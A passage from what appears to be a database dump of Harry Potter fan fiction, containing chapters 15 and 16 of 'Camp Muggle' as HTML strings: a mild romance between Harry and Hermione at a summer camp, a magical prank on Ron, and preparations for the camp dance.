arrived, every group found a location to collectively drop their bags, and then began peeling off layers of clothes in a race to be the first in the water.<br>\n\n\n<br>\n Hermione took longer taking off her outer layer of clothes, watching her girls run and scream as they entered the chilly water. The water looked rather inviting, especially with the hot sun beating down on her now bare shoulders.<br>\n\n\n<br>\n Glancing behind her, she noticed Harry taking longer than expected as well; especially considering his entire group was the first to enter the pool at the base of the falls.<br>\n\n\n<br>\n As he slipped on his last sandal, he looked up and caught her gaze. Hermione smiled and Harry smiled back and began walking over to her. Hermione scrambled to grab a towel at her feet and wrap it hastily around her waist before Harry reached her.<br>\n\n\n<br>\n &quot;Like I haven\'t seen you in that two piece before,&quot; said Harry in a husky voice near her ear. He\'d snuck up on her.<br>\n\n\n<br>\n &quot;I&#8230;oh.&quot; she turned flustered to face him, but found she couldn\'t verbalize her thoughts with his face inches away from hers. Instead, she simply smiled and attempted not to blush, even though she knew she was.<br>\n\n\n<br>\n &quot;Would you like to do a little exploring?&quot; He winked with a cheeky grin on his face.<br>\n\n\n<br>\n &quot;What about watching our campers?&quot; said Hermione as she fumbled to the towel at her waist; eventually she realized it wouldn\'t secure properly and she let it fall to her feet in vain.<br>\n\n\n<br>\n &quot;Ron and Meegan can handle them. Besides, those two can\'t risk sneaking off,&quot; Harry chuckled, looking over his shoulder for a brief moment at their friends in the water.<br>\n\n\n<br>\n &quot;All right then,&quot; Hermione smiled. She made a move to take his hand in hers, then realized what she was doing in plain view of everyone and awkwardly stopped herself. &quot;Let\'s go before anyone notices that we\'re still over here,&quot; she quickly headed off to a parting in the trees.<br>\n\n\n<br>\n &quot;Yes ma\'am,&quot; Harry followed quickly. Giving one quick glance to make sure they weren\'t being watched, the pair slipped into the trees.<br>\n\n\n<br>\n Hermione was ahead leading the way. After they were far enough in that she couldn\'t hear the children\'s voices, she turned. &quot;Harry.&quot; She began, but was cut off by Harry wrapping his arms around her and pulling her in for a kiss.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry had been patiently following behind Hermione, attempting to keep his eyes trained on her hair instead of the parts that her bathing suit was capably accentuating in front of him. On their long hike to the falls, the idea to sneak off with her had struck him. After that, it had been difficult for him to think of much anything else.<br>\n\n\n<br>\n Once they\'d reached the falls, all he\'d wanted was to get her alone. Now that he finally had that, he was itching for her to stop so he could simply kiss her senseless.<br>\n\n\n<br>\n As patiently as he could, he let her lead the way. Suddenly, she stopped in front of him and began to turn. &quot;Harry..&quot; she started, but he had other plans. Harry took the opportunity and swept her into his arms. Before she could say another word, his lips descended upon hers. For the next few minutes, the only sounds he\'d let her get out were a few soft moans in pleasure.<br>\n\n\n<br>\n Finally he released her mouth so that they could both take in a few much needed breaths of air. Harry looked down at her beautiful face and let his hand raise to her cheek, gently letting the back of it caress its way down until he slipped it under her hair to cradle the base of her head.<br>\n\n\n<br>\n &quot;I\'m still getting used to that,&quot; she smiled up at him, her eyes twinkling with euphoria.<br>\n\n\n<br>\n &quot;To what?&quot; he mused, twirling his fingers through her hair from his hand\'s current position.<br>\n\n\n<br>\n &quot;Kissing you,&quot; she beamed. &quot;It\'s not everyday I sneak of to make out with my best friend now is it?&quot; She furrowed her brow suddenly, &quot;Well, I take that back. Maybe \'now\' it\'s everyday,&quot; she giggled, &quot;but this didn\'t used to be a regular occurrence.&quot;<br>\n\n\n<br>\n &quot;A regular occurrence? I\'d shoot more for frequent,&quot; said Harry with a short smile as he bent down he kiss her again. It was a soft, lasting kiss this time. He let his lips linger before pulling away to look at her again.<br>\n\n\n<br>\n &quot;Did I mention how beautiful you look?&quot; He smiled.<br>\n\n\n<br>\n &quot;I didn\'t do anything special today,&quot; she reached up to fuss with her hair.<br>\n\n\n<br>\n &quot;Not today,&quot; he stopped her by taking her hand in his and bringing them down to their sides, &quot;everyday.&quot; He couldn\'t help the large smile his face held, she just had this effect on him he\'d never felt with anyone else before.<br>\n\n\n<br>\n &quot;Who are you and what have you done with my best friend?&quot; she smiled, tugging on his hand and turning to walk further in the wood together.<br>\n\n\n<br>\n &quot;Why whatever do you mean, Hermione dear?&quot; said Harry, laying it on extra sappily for her benefit.<br>\n\n\n<br>\n &quot;You prat,&quot; she giggled, reaching across herself to playfully slap him with her free hand. &quot;Thank you, by the way,&quot; she blushed, turning her gaze to her feet. &quot;It\'s not usual that I get called beautiful so much.&quot;<br>\n\n\n<br>\n &quot;You should get used to it,&quot; he smiled, squeezing her hand. She looked up as he did and smiled, giving him a little squeeze back as they continued to walk together.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n OKAY, my fingers are tired of typing so I\'m going to cut this off. Next to come -&gt; the rest of the trip to the waterfall, the end of camp dance!, and the end of camp!! Just a few more chapter folks!<br>\n\n\n<br>\n Maybe if I get stunning reviews (which I always do, thanks!!), I\'ll be enticed to write a sequel about them returning to Hogwarts!<br>\n\n\n<br>\n Love you all! And if you read, please review, even if it\'s just to say you like it (or don\'t =( .)</p> '),
	(134, 15, ' <p>~*~ CAMP MUGGLE ch. 15/17 ~*~<br>\n\n\n<br>\n &quot;It\'s just a bit further up the hill,&quot; Harry brushed a wayward tree branch out of the way as he and Hermione climbed up the hill. He held it at bay so Hermione could pass safely under it. Harry led Hermione hand in hand to up through wood, and away from the campers below.<br>\n\n\n<br>\n &quot;Thank you,&quot; said Hermione softly as she ducked under the branch. They\'d been hiking for about fifteen minutes. The voices below had long been drowned out by the plummeting waterfall somewhere off to their left.<br>\n\n\n<br>\n &quot;Do you think they\'ve noticed we\'re gone?&quot; mused Harry and they scrambled up the rest of the hillside. He glanced up to notice the sun finally beginning to poke through the trees in front of them.<br>\n\n\n<br>\n &quot;Hopefully not,&quot; she smiled as the neared the exit of the wood. &quot;Now just where is it that we\'re going?&quot; A smile played at her lips as the pair stepped into the sunlight.<br>\n\n\n<br>\n &quot;Actually, I haven&#8217;t got a clue,&quot; he too smiled as his eyes went into a squint now that they&#8217;d been exposed to the bright glare of the sun as compared to the murky wood.<br>\n\n\n<br>\n &quot;Harry!&quot; said Hermione with a bit of laughter to her voice. &quot;This better not have gotten us lost!&quot;<br>\n\n\n<br>\n &quot;We\'re not lost...we\'re,&quot; he looked around and noticed the small river plummeting over the edge into a cascade of furry. &quot;We\'re at the top of the waterfall.&quot;<br>\n\n\n<br>\n Hermione gasp as she turned and finally took in the sights around her. They had, in fact, hiked quite a fair elevation up and were standing near the end of the line. Hermione meandered over to the edge and peaked down toward the large billows of mists and splashing campers below.<br>\n\n\n<br>\n Suddenly, a strong pair of arms encircled her waist causing her to gasp. &quot;Careful, don\'t fall,&quot; Harry smiled into her hair.<br>\n\n\n<br>\n &quot;You\'d never dream of letting me,&quot; she smiled turning square to face him, his arms still around her.<br>\n\n\n<br>\n &quot;Never,&quot; he leaned down and gave her a soft kiss. As they broke apart, a funny smile played upon Hermione\'s lips.<br>\n\n\n<br>\n &quot;Do you think they can see us down there?&quot; She smiled at their current predicament, looking over her shoulder at the seemingly oblivious crowd below. Harry too glanced at the people below.<br>\n\n\n<br>\n &quot;If we can see them,&quot; he smiled, sliding his arms out from around her and taking her hand, &quot;we might want to move.&quot;<br>\n\n\n<br>\n &quot;I second that idea,&quot; she let him lead her away from the cliff\'s edge and over to a small grassy patch near the stream. Very ungracefully, Harry flopped down and yanked Hermione with him. She landed in a thud on his chest causing her to brake into a fit of giggles. Harry smiled at her, rather amused with himself.<br>\n\n\n<br>\n &quot;Would you be mad at me if I told you a secret?&quot; he beamed, looking fondly at her glowing face.<br>\n\n\n<br>\n &quot;What sort of a secret?&quot; said Hermione suspiciously as her laughter began to subside. She was making an attempt to put on one of her stern faces.<br>\n\n\n<br>\n &quot;I seemed to have accidentally smuggled something with me that you\'d be rather displeased about..&quot; said Harry averted his gaze, daring to look at her through one squinted eye.<br>\n\n\n<br>\n &quot;Harry!&quot; she landed a flat palm against his chest, &quot;this better not be what I think you\'re talking about!&quot; Her voice had risen to a semi-threatening level. Not enough to be furious, but indeed angry with him.<br>\n\n\n<br>\n &quot;Ya, that would be it,&quot; he grimaced. He knew he was in for it now. He could feel as she tensed on top of him, preparing to chastise him.<br>\n\n\n<br>\n &quot;HARRY JAMES POTTER!!! How could you be so reckless! I cannot believe you! What is some innocent Muggle child had found it! Or worse someone too young to know what to do with it like Colin or Juliet! You never think do you! AHHHHH!&quot; She finally stopped. He could feel her breathing quite heavily as the yelling subsided.<br>\n\n\n<br>\n &quot;Are you finished?&quot; he ventured, turning his head back toward her with hesitancy. He was sure the entire camp would have heard her if it hadn\'t been for the loud noises of the waterfall. She nodded, still to angry to speak. &quot;Good, you\'re worse than a Howler!&quot; Her eyes grew large at his comment and she gave him a few slaps to the chest. &quot;Okay, I\'m sorry, maybe I deserved that.&quot; She glared at him still. &quot;All right, I did deserve it. But since you got your yell in, can I at least show it to you?&quot; He waggled his eyebrows at her suggestively until she finally broke a small smile.<br>\n\n\n<br>\n &quot;I suppose..&quot; She sighed sliding off his chest and settling into the grass next to him.<br>\n\n\n<br>\n &quot;Good cause it\'s been rather annoying scratching across my ankle this whole time!&quot; Harry beamed and he rolled up his pant leg and produced his wand from its nestled spot inside his sock.<br>\n\n\n<br>\n &quot;Ugh,&quot; Hermione sighed loudly turning her head in disgust that he\'d ignored the multiple warnings she\'s given him.<br>\n\n\n<br>\n &quot;Why are you so upset? No one\'s discovered it yet!&quot; said Harry and he swished it around it the air, obviously having missed the feel of his wand in his hand.&nbsp; <br>\n\n\n<br>\n &quot;At thank goodness for that, but it doesn\'t mean someone still won\'t find it out!&quot; said Hermione, still quite cross, with her arms folded at her chest.<br>\n\n\n<br>\n &quot;But it might come into handy,&quot; he smiled, leaning close so that she\'d been compelled to look up at him. She caved and did so, trying to restrain herself from the smile playing at her lips. He was just too irresistible.<br>\n\n\n<br>\n &quot;Like how,&quot; she ventured, trying to see where he was going with this one. He\'d obviously brought his wand along their little hike for a reason.<br>\n\n\n<br>\n &quot;Well,&quot; he picked up a leaf that had floated over to them in the breeze and held it in his hand. He muttered a few words, pointed his wand at it, swished and flicked, and after a few bursts of sparks, he handed her a bouquet of fresh flowers.<br>\n\n\n<br>\n She tried her hardest, but she couldn\'t stop from letting a large smile float across her face as he handed her the bouquet. &quot;How&#8217;d you know that you wouldn&#8217;t get in trouble for using it?&quot; said Hermione as she took them from him.</p>\n\n<p>&#8220;Ron overhead his mother speaking with Professor Dumbledore about precautions after you invited us to go.&nbsp; You aren&#8217;t still mad, are you?&quot; said Harry, leaning in and cupping her chin with his non-wand toting hand, gently rubbing his thumb up and down her jaw line.<br>\n\n\n<br>\n &quot;No,&quot; she turned her face in his hand in annoyance. &quot;I can\'t seem to stay mad at someone so wonderful,&quot; she admitted.<br>\n\n\n<br>\n &quot;Good,&quot; he used his hand still holding her face to turn her gaze back to his so that he could bestow a small kiss upon her lips. &quot;Now how about some fun!?&quot; He smiled devilishly brandishing his wand.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;This sucks! This is stupid!&quot; Ron angrily hit the water around him. He was away from the main group taking out his frustrations on the cool water\'s surface. A ways away, Meegan happily splashed around with her campers, seemingly ignoring his existence. &quot;Why does stuff like this always happen to me,&quot; he sighed, punching the water again.<br>\n\n\n<br>\n Ron had been berating himself for the past half hour. No one seemed to notice he\'d drifted away from the group, so he\'d taken the opportunity to loudly express his dissatisfaction over the Meegan situation.<br>\n\n\n<br>\n Especially now that the pair was the center of attention at camp, he couldn\'t get a moment alone with her to talk about the upcoming end of camp and what it meant for the two of them. \'I really like her, but it\'s too soon to let her know I\'m a wizard,\' thought Ron as he absentmindedly ran his fingers through the water\'s surface. \'I\'ve heard too many horror stories of witches and wizards scaring off lovers by telling them the truth. But Meegan, there\'s something about her, something that make me think she\'d understand. It\'s way too soon though. I mean, we\'ve been dating for not even two months yet. That\'s definitely way too soon. I like her so much though! She\'s kind, and smart, and just...amazing! I am so lucky to have met someone like her! But why now...?\' Ron scoffed and slapped the water around some more. He did truly care for Meegan, he just didn\'t know how to deal with it.<br>\n\n\n<br>\n Suddenly, he felt rather cold standing in the water. A perplexed look crossed his face as he shivered and broke from his deep thoughts. As if on cue, a large piece of cloth suddenly bubbled up from beneath the water in front on him. Curiously, he grabbed the fabric, and then it hit him. The piece of cloth was his swim trunks and that cold feeling he\'d experienced was him stark naked under the water!<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry and Hermione fell back laughing as they saw their best friend panicking, trying to slide his shorts back on while frantically looking around to see if anyone else had seen. The pair took a few steps back from the cliff\'s edge before collapsing into a fit of laughter. Harry let his wand fall to his side as he buried his head into Hermione\'s shoulder, tears streaming down both of their faces from laughing so hard.<br>\n\n\n<br>\n &quot;Harry,&quot; said Hermione through tears, choking down her laughter, &quot;that was positively evil! He\'s our..&quot; she stopped to laugh more, &quot;best friend!&quot; She couldn\'t contain it more as she burst out in another fit of uncontrollable giggles.<br>\n\n\n<br>\n &quot;No one saw him...&quot; Harry took a few breaths propping himself up, &quot;but us!&quot; He too burst out laughing again, collapsing back against her.<br>\n\n\n<br>\n They stayed laughing for a few more minutes before finally composing themselves.<br>\n\n\n<br>\n &quot;Would you like to cause some more havoc?&quot; Harry grinned maliciously, fingering his wand beside him. He\'d finally slid off her and was now beside Hermione in the grass.<br>\n\n\n<br>\n &quot;Why don\'t we leave Ron alone for a moment,&quot; Hermione propped herself up on her elbow and leaned over Harry. They\'d been both lying on their backs in the grass. &quot;There are other things I could think of doing at the moment,&quot; she drawled, drawing a hand back and forth across his chest.<br>\n\n\n<br>\n &quot;Such as?&quot; Harry released the wand between his fingers and brought his fingers up to her cheek.<br>\n\n\n<br>\n &quot;Well, maybe...&quot; She leaned in close, drawing his mouth magnetically toward hers, &quot;enacting my long awaited revenge!!&quot; Suddenly, her fingers attacked his stomach, sending Harry into howls of laughter.<br>\n\n\n<br>\n &quot;Hermione!&quot; he gasped. &quot;This is so unfair!&quot; He writhed on the ground as she continued her pursuit of his waist.<br>\n\n\n<br>\n &quot;What? What was that? I can\'t hear what you\'re trying to say through all this laughing!&quot; She continued, purposefully tickling him harder.<br>\n\n\n<br>\n &quot;P...pl..please, I\'m sorry I tickled you so much before!&quot; She didn\'t let up. &quot;Okay, I\'ll never tickle you again,&quot; he breathed a few sighs of relief as she finally eased up.<br>\n\n\n<br>\n &quot;Do you swear?&quot; She asked eagerly, her fingers still against his sides.<br>\n\n\n<br>\n &quot;You know I can\'t promise that!&quot; He gave her a dashing smile. She leaned to tickle again, but then gave up, instead turning and flopping down against his chest. His arms immediately came up the circle around her waist.<br>\n\n\n<br>\n &quot;What am I ever going to do with you?&quot; said Hermione, wiggling around until she was comfortable in his arms.<br>\n\n\n<br>\n &quot;Kiss me?&quot; said Harry, speaking into her hair.<br>\n\n\n<br>\n &quot;That\'s the easy part,&quot; she turned, resting the side of her head against his chest. She inhaled deeply, taking in his musky scent. It seemed to relax her, breathing him in like that. &quot;What are we going to do when we go back to Hogwarts?&quot; Both tensed at the mention of the topic.<br>\n\n\n<br>\n &quot;I\'ve been thinking about that lately too,&quot; said Harry, rubbing her arm in a comforting manor. He kissed the crown of her head, then looked up toward the sky.<br>\n\n\n<br>\n &quot;And?&quot;<br>\n\n\n<br>\n &quot;The way I see it, we have to choices. One, we can keep it a secret, or, we can tell our friends. And, in my opinion, its seems most our friends have been rooting for us to get together anyway,&quot; said Harry.<br>\n\n\n<br>\n &quot;That\'s what I was thinking. But, we might want to at least keep it quiet until we&#8217;ve return to school,&quot; said Hermione.<br>\n\n\n<br>\n &quot;To avoid Ron and Meegan\'s plight?&quot; Harry tipped his head back to hers and nuzzled up against her.<br>\n\n\n<br>\n &quot;Exactly,&quot; she affirmed, closing her eyes and relaxing against his chest.<br>\n\n\n<br>\n &quot;Excellent,&quot; Harry too closed his eyes, relaxing in the sunlight. &quot;It\'s smooth sailing until we get back to school. Then we\'ll see what everyone has to say.&quot;<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n End of Camp Muggle 15/17<br>\n\n\n<br>\n ***** Next Chapter....the END OF CAMP DANCE.</p> '),
	(134, 16, ' <p>&lt;A/N: PLEASE just tell me anything about it if you read it. It only takes a few seconds for you to put a smile on my face!&gt;<br>\n\n\n<br>\n &nbsp;<br>\n ~*~ </p>\n\n<p>Camp Muggle Part 16</p>\n\n<p>&nbsp;~*~<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n &quot;Hermione!&quot; the shrill, whining tone of Meegan\'s voice pierced through the crisp morning air. It was seven o\'clock in the morning and Camp Silver Lake was just waking up.<br>\n\n\n<br>\n &quot;Yes, Meegan?&quot; Said Hermione in a rather groggy voice as she slid out of her nice warm bed and onto the icy cold wooden floor with a shiver. Suddenly, Meegan, dripping wet from just having taken a shower, appeared in front of Hermione. Her hair was wrapped up in a towel and she wore a white, terrycloth bathrobe.<br>\n\n\n<br>\n &quot;Do you realize this is our last full day at camp?&quot; Said Meegan with a quaver in her voice.<br>\n\n\n<br>\n &quot;Yes,&quot; Hermione sighed as she bent down and began digging under her bed for her shower tote.<br>\n\n\n<br>\n &quot;Aren\'t you the least bit sad?&quot; inquired Meegan as Hermione popped back up with her supplies in hand. Meegan had remained in place, giving Hermione an awful depressing look.<br>\n\n\n<br>\n &quot;I assure you that once I\'ve gotten my shower and had the proper time to wake-up, I\'ll show an adequate amount of remorse to appease you,&quot; said Hermione as she grabbed her towel and bathrobe off the clothesline, hung them over her shoulder, stuck her feet in some unlaced tennis shoes, and fumbled out the door.<br>\n\n\n<br>\n Meegan harrumphed and left to braid her wet hair (her style of choice for the last month) before it had the chance to dry in a tangled mop.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n At breakfast that morning, the tables were quieter than usual. A sort of somber mood had fallen over the entire camp that day.<br>\n\n\n<br>\n As Hermione entered, her girls tailing like ducks behind her, she immediately made her way to the food line. Her girls followed suit, all eager to eat quickly, then go out to enjoy the day. With a bowl of cheerios in hand, and a small carton of milk, Hermione was the first of her group to sit down at the table. With droopy eyes, she popped open her milk and dumped it over her cold cereal. Grabbing a spoon from the container of them left on their table, she began to lazily stir her cereal.<br>\n\n\n<br>\n After yawning, Hermione raised the spoon to her mouth and took a bite, deciding not to wait for her group to return before beginning to eat. As she set the spoon down, a small spark suddenly shot from her bowl. Her eyes widening, Hermione glanced around quickly to see if anyone else had noticed. Her girls were still in the food line. Everyone else around her had their heads drooping down, focusing on their meals.<br>\n\n\n<br>\n With a note of curiosity, Hermione\'s gaze flipped back to her cereal as she eyed it with suspicion. Slowly, the individual cheerios in her bowl began to move. Hermione blinked her eyes to see if it was her imagination. Slowly, the small O\'s arranged themselves in her bowl into three words.<br>\n\n\n<br>\n DANCE WITH ME?<br>\n\n\n<br>\n Hermione looked across the room at Harry. He was smiling devilishly back at her. Her immediate thought was to become angry with him, but since no one else had seen, and he was being so adorable at the moment, she mouthed the word \'yes\' to him. He responded with one of his large grins. She smiled back, but was disrupted as Meegan and Allison went to sit down, talking together rather loudly as they joined the table.<br>\n\n\n<br>\n Hermione quickly glanced down at her cereal. With a small burst of sparks, the words unscrambled, splaying milk across the table. Meegan and Allison stopped talking and looked at her suspiciously. Hermione prayed that they hadn\'t seen the sparks.<br>\n\n\n<br>\n &quot;Geez, Hermione,&quot; Allison suddenly laughed. &quot;Are you having so much trouble eating that you have to spill it all over the table?&quot;<br>\n\n\n<br>\n &quot;No kidding,&quot; laughed Meegan as she reached across the table and grabbed some napkins to hand to Hermione.<br>\n\n\n<br>\n &quot;Thank you,&quot; said Hermione as she accepted the napkins from Meegan. &quot;Maybe I fell asleep in the bowl,&quot; she smiled as all three girls laughed. As Hermione mopped up the mess, she glanced up at Harry and scowled. He shot her a sheepish smile back and mouthed \'I\'m sorry\'. Hermione shook her head and went back to her breakfast as the rest of her campers filled up the table.<br>\n\n\n<br>\n Hermione began to fret to herself about Harry using magic out of school again, but then she recalled they\'d done so together on Ron just the other day. They\'d gotten away with it then because; among with all the charms Dumbledore had placed on the camp for Harry\'s protection, he\'d lifted the ban on Underage Wizardry initially unbeknownst to all save Hermione and Madam Pomfrey. This was incase magic was needed in order to protect Harry.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n After breakfast, everyone had three options to chose from: swimming, a game of dodge ball, or arts and crafts. The counselors had the options of going anywhere, since the campers were randomly splitting up, so Meegan and Hermione decided to go to Arts and Crafts together.<br>\n\n\n<br>\n Hermione had a table already picked out when Meegan walked in a sat down in the chair next to her. Wendy, the Arts and Crafts director was setting out random supplies and small projects across the table. It was a basic free-for-all for what anyone wanted to make. Hermione had some shiny red foil and multiple pieces of red and pink construction paper next to her. When Meegan looked over, Hermione had already cut out a perfect heart, and was decorating it with the foil and small bit of construction paper.<br>\n\n\n<br>\n &quot;Who\'s that for, Harry?&quot; said Meegan in a teasing voice as she rifled through some of the supplies in front of her, selecting some for herself.<br>\n\n\n<br>\n &quot;No,&quot; Hermione blushed, lying through her teeth, &quot;actually, it\'s for my mother.&quot;<br>\n\n\n<br>\n &quot;Oh, that\'s sweet,&quot; Meegan grabbed a piece of construction paper and folded it in half; &quot;I think I\'ll make a goodbye card for Ron.&quot;<br>\n\n\n<br>\n &quot;How are you two doing?&quot; asked Hermione as she grabbed some lace and began delicately cutting it to line her heart with.<br>\n\n\n<br>\n &quot;Good,&quot; said Meegan as she traced the letters to Ron\'s name on the front of the card. &quot;We haven\'t had as much time together recently as we\'d like, but we\'ve decided to continue seeing each other during break and what not after we leave. And we can always write each other.&quot; She grabbed a marker and began outlining the letters she\'d just drawn.<br>\n\n\n<br>\n &quot;That\'s good,&quot; said Hermione, focused on precisely cutting the lace.<br>\n\n\n<br>\n &quot;What about you and Harry?&quot; said Meegan as she began coloring in the letters.<br>\n\n\n<br>\n &quot;What?!&quot; said Hermione, her head shooting up from her job in shock.<br>\n\n\n<br>\n &quot;Haven\'t you told him you liked him yet?!&quot; said Meegan with exasperation.<br>\n\n\n<br>\n &quot;Oh, no, not really,&quot; Hermione blushed, hoping Meegan wouldn\'t ask any more questions. She and Harry had both agreed not to go public until after camp, if they even did. She buried her face in her work again, hoping Meegan wouldn\'t pry anymore.<br>\n\n\n<br>\n &quot;You should. I really think he fancies you!&quot; said Meegan cheerfully and she grabbed some more markers and began doodling a border around Ron\'s card.<br>\n\n\n<br>\n &quot;You think so?&quot; Hermione smiled, relaxing a bit seeing as Meegan had no idea they really were a couple. She\'d begun carefully gluing the lace around the outside edges of the heart.<br>\n\n\n<br>\n &quot;Have you seen the way that boy looks at you?&quot; beamed Meegan, &quot;It\'s like you\'re the only one he sees. I\'m telling you, he\'s probably just too shy to say anything.&quot; Meegan was busy drawing small hearts around the card to frame it.<br>\n\n\n<br>\n &quot;I\'ll think about it; maybe at the dance,&quot; said Hermione with a large smile on her face thinking of Harry asking her to dance with him earlier. Of course she\'d planned on spending the majority of the evening with him, but it was so cute of him to ask her.<br>\n\n\n<br>\n &quot;About time,&quot; Meegan smiled as she flipped open the card she\'d been working on for Ron and began writing inside with a sparkly silver marker.<br>\n\n\n<br>\n Hermione remained silent. She\'d just finished gluing on the lace and was now tracing small lines of glue around the card with precision. Once she\'d finished with that, she carefully sprinkled silver glitter over the glue, then pushed it aside to let it dry.<br>\n\n\n<br>\n Meegan and Hermione worked hard in silence for the next thirty minutes, each concocting a gift for their boyfriends. Hermione had left the writing of hers, choosing to do it later in privacy where no one would see she\'d address it to Harry.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Does my hair look alright?&quot; said Annika, one of Hermione\'s campers suddenly popping up beside her. She\'d wound her long brown locks up into a French twist.<br>\n\n\n<br>\n &quot;It looks fine,&quot; Hermione didn\'t glance up, she was too busy staring in the mirror Meegan had propped up for her fussing over her own hair. Usually, she didn\'t do so, but she really wanted to look good for Harry for just one night, at least. She missed that she wasn&#8217;t at Hogwarts where she could cast a spell over her hair, but her muggle background would have to do for this one. Hermione finished clipping up a few curly tendrils and stared satisfyingly at herself. Her hair was partially down, with parts pulled off her face and twisted back. She\'d even put on a tad bit more makeup than she was used to.<br>\n\n\n<br>\n Everyone else in the cabin had their hair, makeup, or parts of both done. No one was dressed yet though, and they had only twenty minutes to get to the lodge for the dance. They were all running around in pajamas or sweats. Overall, Hermione\'s cabin of pre-adolescent girls were in a furry as they roamed around sorting out their outfits.<br>\n\n\n<br>\n Hermione was trying not to pay too much attention to the chaos around her.&nbsp; Instead, she was focusing on what she\'d wear. She hadn\'t really brought much for the occasion. After searching her wardrobe time and time again, she decided on a lofty knee-length skirt with a pale floral print, and a matching pale blue sleeveless shirt with a generous \'v-cut\' down the middle. It was rather hot out still, being the end of summer, so she didn\'t want to be too dressy and end up uncomfortable.<br>\n\n\n<br>\n &quot;Hermione?&quot; Said Meegan from somewhere behind her. She sounded fairly distressed. Hermione turned to see a half-dressed Meegan holding three different shoes in her hand. Her hair was spiked out to the side in a sloppy ponytail. She wore an overly large t-shirt and no pants.<br>\n\n\n<br>\n &quot;Meegan, are you all right?&quot; said Hermione, standing up to help her friend.<br>\n\n\n<br>\n &quot;Can you please help me,&quot; said Meegan rather flustered. Holding out her pile of shoes.<br>\n\n\n<br>\n &quot;Of course, I\'m done,&quot; said Hermione smiling putting a hand on the pile of shoes and gently lowering Meegan\'s hand. She put a comforting arm around her shoulder and led her off to clean herself up.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Thanks again for you help Hermione,&quot; said Meegan, leaning in close to whisper to her friend as they, along with their cabin, walked up the steps to enter the lodge. Most of the groups had already entered judged by the noise inside. Meegan was now wearing a mid-thigh pale yellow sundress with thin straps and a square-top front. It synched at the middle with a thin, yellow ribbon. Her long brown hair was let to fall gently down her back.<br>\n\n\n<br>\n &quot;No problem, Meegan,&quot; said Hermione smiling as they entered the lodge. As they stepped inside, they had to give themselves a minute to let their eyes adjust. All of the indoor lights had been shut off and small, spinning overhead lights had been set-up sporadically around the room. The long tables, which usually filled the room during mealtime, had been swept to the sidewalls and out of the way. A few tables had been set-up for refreshments.<br>\n\n\n<br>\n Hermione and Meegan\'s girls instantly split off giggling and searching for boys to lure to the dance floor. Meegan gave Hermione\'s arm a small squeeze and went off in search of Ron. Hermione stood alone glancing at the small amount of people on the dance floor, a few couples and a few groups of solely girls or boys. The dance was just beginning.<br>\n\n\n<br>\n Hermione noticed one of Harry\'s boys dancing with Annika, her camper. Immediately, Hermione began scanning the crowd for Harry when a voice behind her nearly made her jump out of her skin.<br>\n\n\n<br>\n &quot;Hello,&quot; said Harry, softly into Hermione\'s ear. She could feel his breath tickling the bare skin of her neck. She dared not to turn around yet for fear of melting right there and then. &quot;Are you going to properly welcome me?&quot; She could hear the teasing note in his voice.<br>\n\n\n<br>\n &quot;I\'m sorry, but could you please leave me? I\'m trying to find my devilishly handsome boyfriend,&quot; said Hermione, biting her lip in mid-smile after her voice softly replied so as no one else in their vicinity could hear her.<br>\n\n\n<br>\n &quot;My mistake,&quot; said Harry, still talking softly against her skin. She could feel goose bumps rising on the exposed flesh. &quot;I thought were her.&quot;<br>\n\n\n<br>\n &quot;Are you looking for someone also?&quot; said Hermione, resisting her urge to turn around and look him in the eyes.<br>\n\n\n<br>\n &quot;My girlfriend, actually, completely gorgeous, kind, smart beyond all means. But you couldn\'t be her . . .&quot; said Harry, trailing off as he let a hand slowly roam up to her shoulders, drawing his cool index finger along her warm flesh.<br>\n\n\n<br>\n &quot;Why is that?&quot; said Hermione, biting her lip even harder to pull her thoughts from succumbing to temptation. She was trying to focus her sight on something out in the crowd, anything, but it was becoming increasingly more difficult as time passed.<br>\n\n\n<br>\n &quot;Because . . .&quot;<br>\n\n\n<br>\n &quot;There you are Harry! Hermione!&quot; Said Ron suddenly coming up beside them with Meegan. Harry\'s hand pulled away from Hermione like he\'d just touched a hot burner. Hermione\'s face turned a nasty shade of crimson as the glaze over her eyes lifted and she focused in on her approaching friends.<br>\n\n\n<br>\n &quot;Hi Ron, Meegan,&quot; said Harry, taking over and stepping out from behind Hermione to smooth over the situation incase they\'d seen anything. Hermione finally got her first look at him. He was wearing khakis, even though it was well too hot for them, and a button up dark blue shirt that had the top two buttons undone. It was especially his messy, still damp hair that did it for her. All in all, he looked amazingly good.<br>\n\n\n<br>\n &quot;Come dance! You two can\'t stand on the sidelines all night,&quot; said Meegan jovially. She was happily clasped onto Ron\'s hand. Since it was the last night of camp, neither one of them cared any more.<br>\n\n\n<br>\n &quot;Ya, we came to make your two socialize rather than act like wallflowers,&quot; said Ron, smiling at his two friends and he let go of Meegan\'s hand. He grabbed Harry by the shoulders and yanked him toward the center of the room. Meegan did the same thing to Hermione. Before they knew what had happened, Ron and Meegan had shoved them into each other\'s arms and left.<br>\n\n\n<br>\n So there they were, slow dancing together in the center of the room. Now that more people had arrived and began to dance, they weren\'t so alone of the dance floor. Hermione glanced over Harry\'s shoulder and saw the Ron and Meegan had begun to dance again as well.<br>\n\n\n<br>\n &quot;Do you think we\'ve been setup?&quot; said Harry with a teasing tone in his voice, leaning in and wrapping his arms more firmly around her shoulders.<br>\n\n\n<br>\n &quot;That just may be the case,&quot; Hermione smiled, leaning her head against his shoulder. He smelt so good and she felt so safe and cared for, she would have been content just staying there in his arms forever.<br>\n\n\n<br>\n They stayed like that through the next two slow songs. After that, a faster song came on and the dance floor became flooded by nearly the entire camp, but they didn\'t notice, they continued to dance. Most of the campers chose to ignore them, but more and more people had stopped dancing to wonder why they hadn\'t ended their slow dance yet.<br>\n\n\n<br>\n By the end of the next song, at least twenty people or so had circled around them, yet Harry and Hermione remained oblivious to the crowd.<br>\n\n\n<br>\n &quot;Ron?!&quot; said Meegan, suddenly pulling away from him. They\'d been happily dancing together for quite some time.<br>\n\n\n<br>\n &quot;What?&quot; said Ron, a bit flustered by her suddenly pulling back from him.<br>\n\n\n<br>\n &quot;Look over there,&quot; said Meegan, taking Ron by the hand and 